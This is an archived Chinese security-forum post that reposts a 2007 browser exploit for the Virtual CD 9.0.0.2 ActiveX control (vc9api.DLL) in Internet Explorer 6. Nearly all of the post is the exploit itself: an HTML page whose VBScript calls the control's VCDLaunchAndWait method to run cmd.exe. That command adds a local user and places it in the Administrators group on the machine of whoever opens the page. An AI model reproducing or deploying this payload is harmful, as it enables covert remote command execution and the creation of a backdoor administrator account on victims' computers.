邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-5-23 12:03

Virtual CD 9.0.0.2 (vc9api.DLL) Remote Shell Commands Execution Exploit

[code]<!--
IE 6 / Virtual CD 9.0.0.2 (vc9api.DLL 9.0.0.57) remote shell commands execution exploit
by rgod
site: retrogod.altervista.org

software site: [url]http://www.virtualcd-online.com/[/url]
-->
<html>
<object classid=&#39;clsid:C75848D7-72BD-499C-80F3-FD0ED62DF58C&#39; id=&#39;VCDAPILibApi&#39;></object>
<script language=&#39;vbscript&#39;>

strCmd="cmd.exe /c net user sun tzu /add | net localgroup Administrators sun /add "
strWorkDir="c:\windows\system32\"
showCmd=1
bWait=1

VCDAPILibApi.VCDLaunchAndWait strCmd ,strWorkDir ,showCmd ,bWait

</script>
</html>

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team